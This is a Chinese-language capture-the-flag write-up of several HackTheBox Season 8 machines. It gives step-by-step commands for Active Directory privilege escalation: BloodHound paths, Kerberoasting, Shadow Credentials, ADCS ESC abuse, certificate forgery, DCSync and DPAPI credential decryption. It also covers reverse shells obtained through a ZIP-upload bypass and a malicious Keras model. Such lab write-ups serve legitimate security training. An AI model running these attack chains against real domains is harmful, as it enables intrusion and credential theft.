HackTheBox - Season 8 (1/2)
Week 1 - Puppy
🕒 2025/05/20
- IP:
10.10.11.70 - OS:
Windows - Difficulty:
Medium - Credentials:
levi.james|KingofAkron2025!
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.70
2. SMB
port 445 是開的，我們可以用 smbmap 掃看看：
$ smbmap -H 10.10.11.70 -d puppy.htb -u levi.james -p 'KingofAkron2025!'
我們發現有一個非預設的 SMB share DEV, comment 寫道 DEV-SHARE for PUPPY-DEVS
3. BloodHound
官方有給一組帳號密碼，所以我們可以用 BloodHound 遠端掃掃看：
$ bloodhound-python -u levi.james -p 'KingofAkron2025!' -d puppy.htb -ns 10.10.11.70 -c All --zip
我們觀察到存在此攻擊路徑： levi.james 是 group HR 的 member，然後 group HR 有對 group Developers GenericWrite的權限，所以我們可以把 levi.james 加進去 group Developers ，以此獲得group Developers的權限
4. ldapmodify
add-member.ldif
$ ldapmodify -x -H ldap://10.10.11.70 -D "PUPPY\\levi.james" -w 'KingofAkron2025!' -f add-member.ldif
我們再跑一次 smbmap：
我們可以看到， share DEV 從 NO ACCESS 變成 READ ONLY 了
5. SMB
我們來 access SMB share DEV ：
$ smbclient //10.10.11.70/DEV -U puppy.htb/levi.james --password 'KingofAkron2025!'
有一個有趣的檔案：recovery.kdbx
.kdbx 檔案是一種由 KeePass Password Safe 軟體使用的密碼資料庫檔案格式。它是一個安全的密碼儲存庫，用於存放各種帳戶的登入資訊。使用者可以使用密碼或金鑰檔案來解鎖 .kdbx 檔案，以保護其中的敏感資料。
6. Password Hash Cracking
我們試著用 John the Ripper 來暴力破解此 password hash
先利用 keepass2john 把 password hash 提取出來：
$ keepass2john recovery.kdbx > hash.txt
再跑 John the Ripper ：
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
liverpool
我們暴力破解了此 hash ， KeePass 的密碼為 liverpool
我們用密碼 liverpool 登入成功：
- KeePass
成功得到了這些密碼
接下來，我們來嘗試看看這些密碼能不能成功登入：
$ crackmapexec smb 10.10.11.70 -d puppy.htb -u users.txt -p passwords.txt --continue-on-success
我們成功登入了一組帳號：ant.edwards | Antman2025!
7. Ant -> Adam
我們用 BloodHound 來看看 ant.edwards 有什麼權限：
我們可以看出，因為 ant.edwards 是 group Senior Devs 的 member，所以 ant.edwards 對 adam.silver 有 GenericAll的權限
adam.silver 是 group Remote Management Users 的 member
所以我們可以嘗試更改 adam.silver 的密碼來 remote access to the machine
我們利用 bloodyAD 來嘗試更改 adam.silver 的密碼
$ bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc-ip 10.10.11.70 set password adam.silver 'P@ssw0rd'
看起來密碼是更改成功
不過我們嘗試利用 WinRM 登入失敗
我們用 nxc 做排察，發現 SMB 回傳 STATUS_ACCOUNT_DISABLED
$ nxc smb 10.10.11.70 -u 'adam.silver' -p 'P@ssw0rd'
我們用 ldapsearch 來確認一下 userAccountControl 的值
$ ldapsearch -x -H ldap://10.10.11.70 -D 'PUPPY\ant.edwards' -w 'Antman2025!' -b "DC=puppy,DC=htb" "(sAMAccountName=Adam.Silver)" distinguishedName userAccountControl
userAccountControl: 66050 這個數值分解是：
- 65536：
DONT_EXPIRE_PASSWORD - 512：
NORMAL_ACCOUNT - 2：
ACCOUNTDISABLE
由此得知，此帳號為停用帳號（ACCOUNTDISABLE）。因為我們對 adam.silver 有 GenericAll 的權限，所以我們可以嘗試把 ACCOUNTDISABLE 的數值改為0，即更改為啟用帳號：
$ ldapmodify -x -H ldap://10.10.11.70 -D 'puppy\ant.edwards' -w 'Antman2025!' -f enable-account.ldif
再試著用 WinRM 登入：
$ evil-winrm -i 10.10.11.70 -u 'puppy\adam.silver' -p 'P@ssw0rd'
登入成功，得到 user flag ：
C:\Users\adam.silver\Desktop\user.txt
8. Adam -> Steph (Sensitive File)
C:\Backups\site-backup-2024-12-30.zip
我們發現了一個有趣的 backup zip檔，我們試著解壓縮：
查看 nms-auth-config.xml.bak ：
我們發現了一組密碼 steph.cooper | ChefSteph2025!
我們用 crackmapexec 確認，確實是 steph.cooper 的密碼
$ crackmapexec smb 10.10.11.70 -d puppy.htb -u users.txt -p 'ChefSteph2025!' --continue-on-success
由 BloodHound 可以得知， steph.cooper 也是 Remote Management Users 的一員，所以也可以藉由 WinRM 連上這台機器：
$ evil-winrm -i 10.10.11.70 -u 'puppy.htb\steph.cooper' -p 'ChefSteph2025!'
9. steph -> steph.cooper_adm (DPAPI)
我們用 winPEAS 發現到有DPAPI的相關檔案
- winPEAS
DPAPI（Data Protection API）：
Windows 的 DPAPI 是 OS 層的「資料保護機制」，用於加密使用者或系統的敏感資料（例如 Credential Manager、瀏覽器某些項目等）。核心是每個使用者/系統有一把 master key，用它來對應用資料做對稱加解密；master key 又被用使用者密碼或系統/域層級備援金鑰所保護。
- 被 user password 或 domain backup key 加密的 master key 檔案
C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<User SID>\<GUID>
- 被 master key 加密的 DPAPI-encrypted credential blob
C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<GUID>
我們嘗試用 user password 來解密出 master key ：
mimikatz# dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /password:ChefSteph2025! /protected
我們成功解密出 master key 。接下來，我們嘗試用 master key 來解密出此 credential blob ：
mimikatz# dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
可以看到，我們成功解密出了這些敏感資訊，其中包含了一組帳密： steph.cooper_adm | FivethChipOnItsWay2025!
10. steph.cooper_adm -> Administrator
我們用 BloodHound 可以看到， steph.cooper_adm 是 group Administrators 的一員。
接下來，我們可以用 DCSync 來把 Administrator 的 hash dump出來：
- DCSync
$ impacket-secretsdump puppy.htb/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70
用我們 dump 出來的 Administrator's hash 透過 WinRM 登入看看：
- WinRM
$ evil-winrm -u 'PUPPY.htb\Administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b' -i 10.10.11.70
登入成功，得到 root flag ：
C:\Users\Administrator\Desktop\root.txt
Week 2 - Fluffy
🕒 2025/05/27
- IP:
10.10.11.69 - OS:
Windows - Difficulty:
Easy - Credentials:
j.fleischman|J0elTHEM4n1990!
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.69
2. SMB
port 445 是開的，我們可以用 smbmap 掃看看：
$ smbmap -H 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!'
我們可以看到 j.fleischman 對 share IT 有讀寫的權限。我們試著 access 看看：
$ smbclient //10.10.11.69/IT -U j.fleischman --password 'J0elTHEM4n1990!'
可以看到有這些檔案，底下是一部分 Upgrade_Notice.pdf 的內容：
Upgrade_Notice.pdf
CVE-2025-24071
我們來看看這些 CVEs 有沒有被修復。
3. CVE-2025-24071
經過了一番研究，我們發現此機器存在 CVE-2025-24071 之漏洞：
- 當從壓縮檔解壓出
.library-ms檔案時，Windows Explorer 會自動發起 SMB 驗證請求，導致 NTLM hash 被洩露。使用者不需要開啟或執行該檔案，僅僅解壓就會觸發此 leak 。 - 漏洞詳細解說：https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
我們利用 GitHub 上現成的 PoC ： https://github.com/0x6rss/CVE-2025-24071_PoC
-
- 執行
$ python3 poc.py
生成exploit.zip
- 執行
-
- 跑
$ sudo responder -I tun0
- 跑
-
- 上傳
exploit.zip到 shareIT
$ smbclient //10.10.11.69/IT -U j.fleischman --password 'J0elTHEM4n1990!'
put exploit.zip
- 上傳
-
$ sudo responder -I tun0
可以看到，我們成功得到了某位 user 的 hash 。
讓我們嘗試破解此 hash ：
$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
我們成功破解此 hash ：p.agila | prometheusx-303
4. Kerberoasting Attack
順道一提，我們有嘗試 Kerberoasting Attack 並得到以下三位 service accounts 的 hash ，但並未破解任何 hash 。
-
$ impacket-GetUserSPNs -request -dc-ip 10.10.11.69 -outputfile hashes_asreproast.txt fluffy.htb/j.fleischman:'J0elTHEM4n1990!'
記得校正時間：
$ sudo ntpdate 10.10.11.69
5. BloodHound
接下來，讓我們用 BloodHound 取得更多 p.agila 的資訊：
$ bloodhound-python -u p.agila -p 'prometheusx-303' -d fluffy.htb -ns 10.10.11.69 -c All --zip
可以看到，因為 p.agila 是 group Service Account Managers 的一員，所以 p.agila 擁有對 group Service Accounts GenericAll 的權限， group Service Accounts 又擁有對 ca_svc 、 winrm_svc 與 ldap_svc GenericWrite 的權限
我們的攻擊步驟是：
1. 把 p.agila 加進 group Service Accounts
2. 利用 certipy-ad shadow 取得 ca_svc 、 winrm_svc 與 ldap_svc 的 shadow credentials（NTLM hashes）
Shadow Credentials 取得 NTLM Hash 原理概要
- Shadow Credentials：
利用對目標帳號具備的GenericWrite或WriteDACL權限，將自產公鑰加入其msDS-KeyCredentialLink屬性，等於替帳號掛上一把「新金鑰」。攻擊者握有對應私鑰，即可透過 PKINIT (Kerberos Public-Key) 直接以該帳號身份向 KDC 驗證並取得 TGT。 - UnPAC-the-Hash：
拿到 TGT 後，再以 User-to-User (U2U) TGS-REQ 向 KDC 要求票據，從回傳的 PAC (Privilege Attribute Certificate) 中解析出該帳號的 NTLM hash（及可能的 AES key）。
6. p.agila -> Service Accounts
我們先把 p.agila 加進去 group Service Accounts ：
$ ldapmodify -x -H ldap://10.10.11.69 -D 'fluffy\p.agila' -w 'prometheusx-303' -f add_member.ldif
我們用 ldapsearch 確認看看，確實看到了 p.agila 被加進去 group Service Accounts 了
$ ldapsearch -LLL -x -H ldap://10.10.11.69 -D 'fluffy\p.agila' -w 'prometheusx-303' -b "CN=Service Accounts,CN=Users,DC=fluffy,DC=htb" "(objectClass=group)" member
7. Shadow Credentials (Service Accounts -> ca_svc / winrm_svc / ldap_svc)
接下來，我們利用 Shadow Credentials (certipy-ad shadow) 獲取 ca_svc 、 winrm_svc 與 ldap_svc 的 TGTs 以取得其 NTLM hashes ：
（記得校正時差：sudo ntpdate 10.10.11.69）
$ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account winrm_svc
winrm_svc|33bd09dcd697600edf6b3a7af4875767
$ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ca_svc
ca_svc|ca0f4f9e9eb8a092addf53bb03fc98c8
$ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ldap_svc
ldap_svc|22151d74ba3de931a352cba1f9393a37
可以看到，我們成功獲得了此三隻帳號的 NTLM hash 。
我們用 NTLM hash 就能登入：
$ evil-winrm -u 'fluffy.htb\winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767' -i 10.10.11.69
成功登入 winrm_svc ，拿到 user flag 。
C:\Users\winrm_svc\Desktop\user.txt
8. ESC16 (ca_svc -> Administrator)
ca_svc 在 group Cert Pubilshers 裡面，所以看起來是真的 CA service account 。
我們可以利用 certipy 來找找看有沒有可以濫用的 CA 漏洞
$ certipy find -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -stdout
可以看到，我們可以利用 ESC16 漏洞做 Privilege Escaltion 。
依照 Github 文件的指示步驟即可成功 Privilege Escaltion 得到 root 。(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
$ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -user ca_svc read
$ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn administrator -user ca_svc update
$ certipy-ad shadow auto -u p.agila@fluffy.htb -p 'prometheusx-303' -dc-ip 10.10.11.69 -account ca_svc
$ export KRB5CCNAME=ca_svc.ccache
$ certipy req -k -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
$ certipy account -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn ca_svc@fluffy.htb -user ca_svc update
$ certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -username administrator -domain fluffy.htb
成功獲得 administrator 的 NTLM hash 。
我們來嘗試登入：
$ evil-winrm -u fluffy.htb\\administrator -H 8da83a3fa618b6e3a00e93f676c92a6e -i 10.10.11.69
成功登入，獲得 root flag 。
C:\Users\Administrator\Desktop\root.txt
Week 3 - Certificate
🕒 2025/06/06
- IP:
10.10.11.71 - OS:
Windows - Difficulty:
Hard
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.71
2. Website
ports 80 是開的，我們可以試著造訪看看。
先把 certificate.htb 加進 /etc/hosts：
有地方可以註冊，我們先註冊然後登入看看。
註冊：
登入：
登入後可以看到有許多課程可以選：
隨便點進去一個課程，可以看到我們可以註冊課程：
點擊註冊後，會出現 Course Outline ，隨便點擊一個 Quizz 右邊的 SUBMIT button ，會出現可以上傳檔案的頁面：
我們可以把檔案壓縮後上傳，伺服器會解壓縮後顯示在頁面上。
上傳成功後，可以查看成功上傳的檔案：
但如果我們的壓縮檔裡面含 php 檔，伺服器會偵測到並擋掉：
3. Concatenated ZIP
我們可以試試看此攻擊手法來繞過伺服器的 malicious file 偵測，詳細可以參考以下文章：
Evasive ZIP Concatenation: Trojan Targets Windows
Users
我們依照文章的方式來生成一個包含 reverse_shell.php 的 zip 檔：
先架好 listener ：
上傳 combined.zip 後，造訪我們上傳的 php_reverse_shell.php (例如我們的是http://certificate.htb/static/uploads/346f96e85d110b7cfb38fe3b00565313/php_reverse_shell.php)。
可以看到，我們成功拿到了 reverse shell ：
4. Sensitive Files
我們找到了一些 sensetive infomation ：
C:\xampp\htdocs\certificate.htb\db.php
certificate_webapp_user|cert!f!c@teDBPWD
這看起來像是一組 MySQL 的帳號密碼
5. MySQL
我們在這裏發現有 mysql.exe 執行檔：
我們試著用那組帳密登入看看：
$ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "SHOW DATABASES;"
登入成功，可以看到有這些 database 。
我們先來看看 DB certificate_webapp_db ：
$ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "USE certificate_webapp_db; SHOW TABLES;"
我們發現了 table users ，裡面可能含有 sensetive infomation。
我們來看看此 table 的內容：
$ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "USE certificate_webapp_db; SELECT * FROM users;"
BINGO。我們找到了許多使用者的 password hash 。
接下來，我們用 hashcat 嘗試破解：
$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
我們成功破解了一組 hash ： Sara.B | Blink182
用這組帳號成功登入：
$ evil-winrm -u Sara.B -p 'Blink182' -i 10.10.11.71
6. Sensitive Files (.PCAP)
我們在 Sara.B 的 Documents 資料夾下發現了 pcap 檔：
pcap 是用來 記錄網路封包原始資料的檔案格式，常由 Wireshark 、 tcpdump 等工具產生。
它會把封包的 時間戳記、長度、協定層級（Ethernet/IP/TCP…）與原始 bytes 都保存下來，方便之後進行 封包分析、流量重建、抓密碼／Hash、惡意流量鑑識。
我們用 Wireshark 查找了封包資訊，成功找到了 Net-NTLMv2 hash ：
- packet No. 167
- packet No. 169
(可參考此影片：https://www.youtube.com/watch?v=lhhlgoMjM7o)
不過我們並沒有成功破解出密碼。
另尋他路。
我們還有找到 Kerberos 的 AS-REQ 封包：
從裡面找到了 Kerberos 5 Pre-auth hash ：
拼湊出 hashcat 的格式：
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
用 hashcat 成功破解出密碼：
$ hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txt
詳細的說明可參考此文章：
https://medium.com/@liram.cybersec/from-packets-to-passwords-utilizing-pcap-file-data-for-domain-access-5c206e64566b
成功以 Lion.SK 登入，並拿到 user flag ：
$ evil-winrm -u Lion.SK -p '!QAZ2wsx' -i 10.10.11.71
- User Flag
C:\Users\Lion.SK\Desktop\user.txt
6-2. GenericAll (此方法已被作者修掉，現在只能用上述攻擊路徑)
另外，我們用 Sara.B 登入來跑 BloodHound ，發現此攻擊路徑：
可以看到， Sara.B 是 group Account Operators 的一員，所以對 Ryan.K 、 Lion.SK 、 Akeder.KH 都有 GenericAll 的權限。
我們來試著修改這三位使用者的密碼並嘗試登入，三位使用者的密碼皆修改成功：
Ryan.K> net user Ryan.K P@ssw0rd /domain
$ evil-winrm -u Ryan.K -p 'P@ssw0rd' -i 10.10.11.71
Lion.SK> net user Lion.SK P@ssw0rd /domain
$ evil-winrm -u Lion.SK -p 'P@ssw0rd' -i 10.10.11.71
Akeder.KH> net user akeder.kh P@ssw0rd /domain
7. ESC3 (Lion.SK -> Ryan.K)
我們利用 certipy 來找找看有沒有可以濫用的 CA 漏洞：
$ certipy-ad find -u lion.sk@certificate.htb -p '!QAZ2wsx' -dc-ip 10.10.11.71 -vulnerable -stdout
可以看到，我們可以利用 ESC3 漏洞做 Privilege Escalation 。
依照 Github 文件的指示步驟即可成功 Privilege Escalation 。
(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc3-enrollment-agent-certificate-template)
$ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
如果 on behalf of Administrator ，會因為 Administrator 沒有 email 而失敗：
$ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Administrator'
我們登進去查看哪些使用者有 email ：
> Get-ADUser -Filter * -Properties mail | Select-Object SamAccountName, mail
用 BloodHound 得知， Ryan.K 是 group Domain Storage Managers 的一員，可以取得磁碟相關的權限。
我們改成嘗試入侵 Ryan.K ：
$ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Ryan.K'
$ certipy-ad auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
成功拿到了 NTLM hash ，且成功登入。
$ evil-winrm -u Ryan.K -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6' -i 10.10.11.71
8. SeManageVolumePrivilege (Ryan.K -> Administrator)
查看 Ryan.K 的權限，我們注意到 SeManageVolumePrivilege 處於 Enabled 狀態：
> whoami /priv
SeManageVolumePrivilege ：
擁有此特權的使用者雖然不是管理員，但擁有維護 Disk Volume 的權限。攻擊者可利用此權限修改系統中任何檔案（包括 C:\Windows 內的系統檔）的存取控制列表 (DACL)，從而獲得完全控制權。
我們利用此漏洞，獲得對 C:\Windows\ 的完全控制權：
我們在目標主機上執行此執行檔 SeManageVolumeExploit.exe ：
https://github.com/CsEnox/SeManageVolumeExploit
獲得對 C:\Windows\ 的完全控制權後，接下來我們可以想辦法拿到 Administrator 的 NTLM hash 或是密碼。
9. Golden Certificate Attack (Ryan.K -> Administrator)
我們發現 CertSvc 正在運行，確認此主機已部署 ADCS 憑證服務，並作為網域內的 CA 使用。
> Get-Service CertSvc
我們先確認 CA 的名稱：
> certutil -dump
匯出 CA 的憑證+私鑰：
> certutil -exportPFX "Certificate-LTD-CA" .\ca.pfx
用 CA 的私鑰偽造 Administrator 憑證：
$ certipy forge -ca-pfx ca.pfx -subject "CN=Administrator,CN=Users,DC=certificate,DC=htb" -upn "administrator@certificate.htb" -out administrator.pfx
這段指令會做的事情：
利用偽造的 Administrator 憑證透過 PKINIT 向 KDC 發送 AS-REQ 並接收 AS-REP ，取得屬於 Administrator 的 TGT 。之後再發送 U2U TGS-REQ 並取得對應的 TGS-REP ，從回應票據中的 PAC 解析出 PAC_CREDENTIAL_INFO ，最終取得 Administrator 的 NTLM hash ：
$ certipy auth -pfx administrator.pfx -username administrator -domain certificate.htb -dc-ip 10.10.11.71
用 Administrator 的 NTLM hash 成功登入，並拿到 root flag ：
$ evil-winrm -u administrator -H 'd804304519bf0143c14cbf1c024408c6' -i 10.10.11.71
- Root Flag
C:\Users\Administrator\Desktop\root.txt
Week 4 - TombWatcher
🕒 2025/06/08
- IP:
10.10.11.72 - OS:
Windows - Difficulty:
Medium - Credentials:
henry|H3nry_987TGV!
1. Enumeration
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.72
我們用提供的這組帳號來跑 BloodHound ：
$ bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.10.11.72 -c All --zip
我們發現了這條攻擊鏈。我們來嘗試利用這條攻擊鏈取得 ADCS 的權限。
2. Henry -> Alfred (Targeted Kerberoasting)
漏洞原理：
BloodHound 顯示 Henry 對 Alfred 擁有 WriteSPN 的權限。這意味著我們可以強制賦予 Alfred 一個服務主體名稱 (SPN)。一旦使用者擁有 SPN，我們就可以對其發動 Kerberoasting 攻擊，請求其服務票據 (TGS) 並嘗試離線破解。
- 使用 ldapmodify 修改
Alfred的屬性，寫入隨便一個的 SPN ：
$ ldapmodify -H ldap://10.10.11.72 -D 'tombwatcher\henry' -w 'H3nry_987TGV!' -f write-spn.ldif
- 確認 SPN 有寫入成功：
$ ldapsearch -H ldap://10.10.11.72 -D 'tombwatcher\henry' -w 'H3nry_987TGV!' -b 'CN=Alfred,CN=Users,DC=tombwatcher,DC=htb' servicePrincipalName
- 請求 Alfred 的 TGS 票據 (Targeted Kerberoasting)：
$ impacket-GetUserSPNs -request -dc-ip 10.10.11.72 -outputfile hashes_kerberoast.txt tombwatcher.htb/henry
使用 hashcat 進行暴力破解：
$ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
破解成功。取得 Alfred 的密碼為 basketball 。
3. Alfred -> Ansible_dev (AddSelf+ReadGMSAPassword)
漏洞原理：
BloodHound 分析顯示 Alfred 擁有 AddSelf 權限，可以將自己加入特定群組（此處為 group Infrastructure）。而該群組擁有讀取 gMSA (Group Managed Service Account) 密碼的權限。在這個環境中，目標 gMSA 帳號是 ansible_dev$ 。
- 利用 ldapmodify 將
Alfred加入至 groupInfrastructure：
$ ldapmodify -H ldap://10.10.11.72 -D 'tombwatcher\alfred' -w 'basketball' -f add-self.ldif
- 確認有加入成功：
$ ldapsearch -H ldap://10.10.11.72 -D 'tombwatcher\alfred' -w 'basketball' -b 'CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb' -s base member
- 我們利用此工具(https://github.com/micahvandeusen/gMSADumper) 讀取
ansible_dev$的帳戶資訊，成功得到其 NTLM hash ：
$ python3 gMSADumper.py -u alfred -p 'basketball' -d tombwatcher.htb
4. Ansible_dev -> Sam (ForceChangePassword)
漏洞原理：
ansible_dev$ 對 Sam 擁有 ForceChangePassword 的權限。這允許我們在不知道 Sam 舊密碼的情況下，直接設定新的密碼。
利用 ansible_dev$ 的 hash 驗證身分，將 Sam 的密碼重設為 P@ssw0rd ：
$ impacket-changepasswd tombwatcher/sam@10.10.11.72 -newpass 'P@ssw0rd' -altuser 'tombwatcher/ansible_dev$' -althash 1c37d00093dc2a5f25176bf2d474afdc -reset
5. Sam -> John (WriteOwner)
漏洞原理：
使用者 Sam 對使用者 John 的 AD 物件擁有 WriteOwner 權限。這是極高風險的權限配置。
- 先將
John物件的擁有者(Owner)改成Sam：
$ impacket-owneredit -action write -new-owner sam -target-dn 'CN=John,CN=Users,DC=tombwatcher,DC=htb' tombwatcher/sam:'P@ssw0rd' -dc-ip 10.10.11.72
- 既然
Sam是擁有者，他就有權修改該物件的 ACL。我們修改 ACL 賦予Sam對John的 FullControl ：
$ impacket-dacledit -action 'write' -rights 'FullControl' -principal sam -target-dn 'CN=John,CN=Users,DC=tombwatcher,DC=htb' tombwatcher/sam:'P@ssw0rd' -dc-ip 10.10.11.72
- 擁有 FullControl 後，即可強制重設
John的密碼：
$ impacket-changepasswd tombwatcher/john@10.10.11.72 -newpass 'P@ssw0rd' -altuser tombwatcher/sam -altpass 'P@ssw0rd' -reset
以 John 的新密碼登入看看：
$ evil-winrm -u tombwatcher.htb\\john -p 'P@ssw0rd' -i 10.10.11.72
登入成功，拿到 user flag ：
C:\Users\john\Desktop\user.txt
6. Recover Deleted User (cert_admin)
在前面的 BloodHound 分析中，我們注意到存在 ADCS 服務，但奇怪的是，沒有相關的特權群組或管理員。這讓我們產生了一個推測：關鍵的管理員帳號可能被刪除了。
在 Active Directory 中，當物件被刪除時，並不會立即消失，而是進入 tombstone 狀態（類似資源回收桶），保留一段時間（預設 180 天）。如果有適當的權限，我們可以將其還原。
我們嘗試搜尋已刪除的物件：
$ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
指令成功列出了 Deleted Objects 容器的內容，並在其中發現了這位使用者：
DisplayName: cert_adminObjectGUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
這證實了某管理員帳號確實存在於資源回收桶中。確認目標後，我們執行還原使用者操作：
$ Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
可以看到， cert_admin 被成功還原了。
7. John -> cert_admin (GenericAll)
我們重新跑 BloodHound ，發現 John 對這個剛復活的 cert_admin 擁有 GenericAll 權限。
我們可以以 John 登入，強制修改 cert_admin 的密碼：
$ net user cert_admin 'P@ssw0rd' /domain
8. ESC15 (cert_admin -> Administrator)
我們使用 certipy 進行弱點掃描：
$ certipy find -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -vulnerable -stdout
可以看到，我們發現了 ESC15 漏洞。
依照 Github 文件的指示步驟即可成功 Privilege Escaltion 得到 root 。
(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu)
- 我們利用
cert_admin的身分，申請一張WebServer憑證。但在申請時，我們注入了Certificate Request Agent的 OID ：
$ certipy req -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -target-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
- 現在我們手上的
cert_admin.pfx就像是一張萬能通行證，允許我們代表任何人申請憑證。我們利用它來幫Administrator申請一張UserTemplate 的憑證：
$ certipy req -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -target-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'
- 最後，我們使用這張
Administrator憑證向 DC 進行身分驗證，換取 NTLM hash ：
$ certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.11.72
拿到 Administrator 的 NTLM hash 後，我們可以嘗試以 Administrator 登入：
$ evil-winrm -u administrator -H 'f61db423bebe3328d33af26741afe5fc' -i 10.10.11.72
成功登入，拿到 root flag ：
C:\Users\Administrator\Desktop\root.txt
Week 5 - Sorcery (unsolved)
[UNSOLVED]
- IP:
10.10.11.73 - OS:
Linux - Difficulty:
Insane
Week 6 - Artificial
🕒 2025/06/22
- IP:
10.10.11.74 - OS:
Linux - Difficulty:
Easy
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.74
2. Website
ports 80 是開的，我們可以試著造訪看看。
先把 artificial.htb 加進 /etc/hosts：
註冊並登入：
登入後，我們發現這個網頁可以上傳 AI model 。
底下是網頁提供下載的 requirements.txt & Dockerfile ：
網站允許上傳 .h5 格式的模型文件。TensorFlow 的 Keras framework 中存在一個已知的安全風險：當使用 load_model 加載含有惡意 Lambda layer 的模型時，可以執行任意代碼。
(想更深入了解，可以參考
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model)
為了確保我們的惡意模型能被伺服器成功解析，我們使用官方提供的 Dockerfile 建立一個與目標一致的 Docker 環境：
我們利用 GitHub 上的此 exploit ：
https://github.com/Splinter0/tensorflow-rce
把 IP 以及 port 改成自己的：
exploit.py
生成 exploit.h5 ：
$ python3 exploit.py
先架好 listener ：
$ nc -nvlp 443
上傳 exploit.h5 並點擊 View Predictions
成功拿到 reverse shell ：
3. Sensetive File
